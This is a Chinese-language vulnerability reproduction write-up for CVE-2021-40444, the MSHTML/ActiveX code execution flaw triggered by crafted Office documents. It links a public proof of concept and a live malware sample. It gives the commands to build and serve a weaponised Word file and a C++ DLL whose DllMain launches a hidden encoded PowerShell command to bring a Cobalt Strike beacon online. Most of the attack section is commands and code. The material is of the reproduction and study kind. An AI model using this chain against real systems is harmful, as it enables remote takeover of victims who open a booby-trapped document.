CVE-2021-40444 漏洞复现

0x01 漏洞描述

CVE-2021-40444:微软MSHTML引擎存在代码执行漏洞,攻击者通过精心制作包含恶意ActiveX的Offcie文档,诱导用户打开,从而实现远程代码执行。当用户主机启用了ActiveX控件,攻击者可通过该漏洞控制受害者主机。

0x02 影响版本

全版本

0x03 漏洞工具

poc下载地址

https://github.com/lockedbyte/CVE-2021-40444

0x04 样本分析

样本下载

https://bazaar.abuse.ch/sample/938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52/

下载样本,将docx改成zip,使用zip解压即可

image-20210913124715939

可以看出文件中引用了mhtml,然后Windows默认浏览器执行ActiveX最后造成代码执行。

\word\_rels\document.xml.rels

image-20210913124942049

可以发现其是指向文件的更新链接

image-20210921153150733

0x05 复现

1.弹计算器

安装lcab

apt-get install lcab

运行脚本生成word文档

python3 exploit.py generate test/calc.dll http://<SRV IP>

image-20210913102259309

运行脚本监听80端口,默认为srv目录

python3 exploit.py host 80

image-20210913102414265

打开word文档,即可弹出计算器

image-20210913102440188

弹计算器肯定是不够的,不如来上线个cs

2.上线cs

先使用cs生成powershell

image-20210913123219695

将生成的powershell代码复制到下面

#include "pch.h"
#include "windows.h"
#include <cstdlib>

void exec(void) {
    system("powershell -nop -w hidden -encodedcommand xxxxx");
    return;
}

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        exec();
        break;

    case DLL_THREAD_ATTACH:
        break;

    case DLL_THREAD_DETACH:
        break;

    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

使用vs2019编译dll

image-20210913123255576

将编译后的dll文件复制到test目录

image-20210913123358651

运行脚本生成word文档

python3 exploit.py generate test/Dll1.dll http://10.108.3.157

image-20210913123524128

监听80端口,点击启动编辑(由于是从网上下载的文件会有以下提示)

python3 exploit.py  host 80 

image-20210913123641153

看到成功有访问记录

image-20210913123902551

cs成功上线

image-20210913123930669

参考地址

https://mp.weixin.qq.com/s/4h8nNW3FEKmEltg6eUgopg
https://mp.weixin.qq.com/s/hjjLKQCiaVUKWOw1jzQE9A